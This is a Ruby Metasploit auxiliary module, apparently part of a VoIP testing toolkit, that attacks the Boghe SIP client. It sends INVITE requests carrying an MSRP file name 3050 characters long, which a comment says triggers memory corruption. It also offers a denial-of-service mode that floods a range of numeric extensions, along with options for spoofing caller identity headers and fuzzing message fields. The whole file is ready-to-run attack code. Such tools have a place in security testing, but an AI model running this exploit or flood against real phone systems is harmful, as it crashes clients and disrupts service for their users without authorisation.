##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'
require 'digest/md5'

class MetasploitModule < Msf::Auxiliary

  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::SIP
  include Msf::Auxiliary::MSRP
  include Msf::Auxiliary::AuthBrute
  include Msf::Exploit::Remote::TcpServer



  def initialize
    super(
        'Name'        => 'Boghe Invite Exploit - System.IO.Path.Too.Long.Exception',
        'Version'     => '1',
        'Description' => 'Boghe Invite Exploit - System.IO.Path.Too.Long.Exception',
        'Author'      => 'fozavci',
        'License'     => 'GPL',
    )

    deregister_options('RHOSTS','USER_AS_PASS','THREADS','DB_ALL_CREDS', 'DB_ALL_USERS', 'DB_ALL_PASS','USERPASS_FILE','PASS_FILE','PASSWORD','BLANK_PASSWORDS', 'BRUTEFORCE_SPEED','STOP_ON_SUCCESS' )

    register_options(
        [
            OptString.new('USERNAME',   [ true, "The login username to probe at each host", "NOUSER"]),
            OptString.new('PASSWORD',   [ true, "The login password to probe at each host", "password"]),
            OptString.new('TO',   [ true, "The destination number to probe at each host", "1000"]),
            OptString.new('FROM',   [ true, "The source number to probe at each host", "1000"]),
            OptString.new('PROTO',   [ true, "Protocol for SIP service (UDP|TCP|TLS)", "UDP"]),
            OptBool.new('LOGIN', [false, 'Login Before Sending Message', false]),
            Opt::RHOST,
            Opt::RPORT(5060),

        ], self.class)

    register_advanced_options(
        [
            OptString.new('FROMNAME',   [ false, "Custom Name for Message Spoofing", nil]),
            OptInt.new('NUMERIC_MIN',   [true, 'Starting extension',0]),
            OptInt.new('NUMERIC_MAX',   [true, 'Ending extension', 9999]),
            OptBool.new('NUMERIC_USERS',   [true, 'Numeric Username Bruteforcing', false]),
            OptBool.new('DOS_MODE',   [true, 'Denial of Service Mode', false]),
            Opt::CHOST,
            Opt::CPORT(5060),
            OptString.new('USERAGENT',   [ false, "SIP user agent" ]),
            OptBool.new('DEBUG',   [ false, "Debug Level", false]),
            OptString.new('REALM',   [ false, "The login realm to probe at each host", nil]),
            OptString.new('LOGINMETHOD', [false, 'Login Method (REGISTER | INVITE)', "INVITE"]),
            OptBool.new('TOEQFROM', [true, 'FROM will be cloned from TO for all users', false]),
            OptString.new('CUSTOMHEADER', [false, 'Custom Headers for Requests', nil]),
            OptString.new('P-Asserted-Identity', [false, 'Proxy Identity Field. Sample: (IVR, 200@192.168.0.1)', nil]),
            OptString.new('Remote-Party-ID', [false, 'Remote Party Identity Field. (IVR, 200@192.168.0.1)', nil]),
            OptString.new('P-Charging-Vector', [false, 'Proxy Charging Field. Sample: icid-value=msanicid;msan-id=msan123;msan-pro=1 ', nil]),
            OptString.new('Record-Route', [false, 'Proxy Record-Route. Sample: <sip:100@RHOST:RPORT;lr>', nil]),
            OptString.new('Route', [false, 'Proxy Route. Sample: <sip:100@RHOST:RPORT;lr>', nil]),
            OptInt.new('DOS_COUNT',   [true, 'Count of Messages for DOS',1]),
            OptString.new('MACADDRESS',   [ false, "MAC Address for Vendor", "000000000000"]),
            OptString.new('VENDOR',   [ true, "Vendor (GENERIC|CISCODEVICE|CISCOGENERIC|MSLYNC)", "GENERIC"]),
            OptString.new('CISCODEVICE',   [ true, "Cisco device type for authentication (585, 7940)", "7940"]),
            OptBool.new('USEREQFROM',   [ false, "FROM will be cloned from USERNAME", true]),

        ], self.class)
  end

  def run
    # Login Parameters
    login = datastore['LOGIN']
    user = datastore['USERNAME']
    password = datastore['PASSWORD']
    realm = datastore['REALM']

    sockinfo={}
    # Protocol parameters
    sockinfo["proto"] = datastore['PROTO'].downcase
    sockinfo["vendor"] = datastore['VENDOR'].downcase
    sockinfo["macaddress"] = datastore['MACADDRESS']

    # Socket parameters
    sockinfo["listen_addr"] = datastore['CHOST']
    sockinfo["listen_port"] = datastore['CPORT']
    sockinfo["dest_addr"] =datastore['RHOST']
    sockinfo["dest_port"] = datastore['RPORT']
    sockinfo["msrp_port"] = datastore['MSRPPORT']

    # Message Parameters for INVITE
    messagefilename = "A" * 3050 #Rex::Text.pattern_create(3050) # Triggers the memory corruption
    message = "Test"
    messagetype = 'text/plain'
    messagesubject = 'Subject'
    msrptype = "application/octet-stream"

    @msg = {
        :msrptype => msrptype, :messagesubject => messagesubject, :messagetype => messagetype,
        :message => message, :messagefilename => messagefilename, :size => message.length,
        :transfer_id => Rex::Text.rand_text_numeric(9)
    }

    # Dumb fuzzing for FROM, FROMNAME and TO fields
    if datastore['FROM'] =~ /FUZZ/
      from=Rex::Text.pattern_create(datastore['FROM'].split(" ")[1].to_i)
      fromname=nil
    else
      from = datastore['FROM']
      if datastore['FROMNAME'] =~ /FUZZ/
        fromname=Rex::Text.pattern_create(datastore['FROMNAME'].split(" ")[1].to_i)
      else
        fromname = datastore['FROMNAME'] || datastore['FROM']
      end
    end
    if datastore['TO'] =~ /FUZZ/
      to=Rex::Text.pattern_create(datastore['TO'].split(" ")[1].to_i)
    else
      to = datastore['TO']
    end

    # DOS mode setup
    if datastore['DOS_MODE']
      if datastore['NUMERIC_USERS']
        tos=(datastore['NUMERIC_MIN']..datastore['NUMERIC_MAX']).to_a
      else
        print_error("User file is not defined.")
        return
        #tos=load_user_vars
      end
    else
      tos=[to]
    end

    sipsocket_start(sockinfo)
    sipsocket_connect

    tos.each do |to|
      to.to_s
      if datastore['TOEQFROM']
        from=to
        fromname=nil
      end

      print_status("Sending the INVITE request with MSRP SDP content")
      datastore['DOS_COUNT'].times do
        results = send_invite(
            'login' 	      => login,
            'loginmethod'   => datastore['LOGINMETHOD'].upcase,
            'user'  	      => user,
            'password'	    => password,
            'realm' 	      => realm,
            'from'  	      => from,
            'fromname'  	  => fromname,
            'to'  		      => to,
            'sdp'			      => get_msrp_sdp(sockinfo,@msg),
        )
        results = send_invite(
            'login' 	      => login,
            'loginmethod'   => datastore['LOGINMETHOD'].upcase,
            'user'  	      => user,
            'password'	    => password,
            'realm' 	      => realm,
            'from'  	      => from,
            'fromname'  	  => fromname,
            'to'  		      => to,
            'sdp'			      => get_msrp_sdp(sockinfo,@msg),
        )
        if results != nil
          printresults(results) if datastore['DEBUG'] == true and results["rdata"] != nil
          if results["status"] == :succeed
            print_good("Invite is accepted by #{to}")
            print_good("Received SDP Content: \n\t#{results["rdata"]["sdp"].gsub("\r\n","\r\n\t")}")
          else
            print_status("Invite is not accepted by #{to} (Server Response: #{results["rdata"]['resp_msg'].split(" ")[1,5].join(" ")})") if results["rdata"] != nil
          end
        end
      end
    end

    sipsocket_stop
  end

end

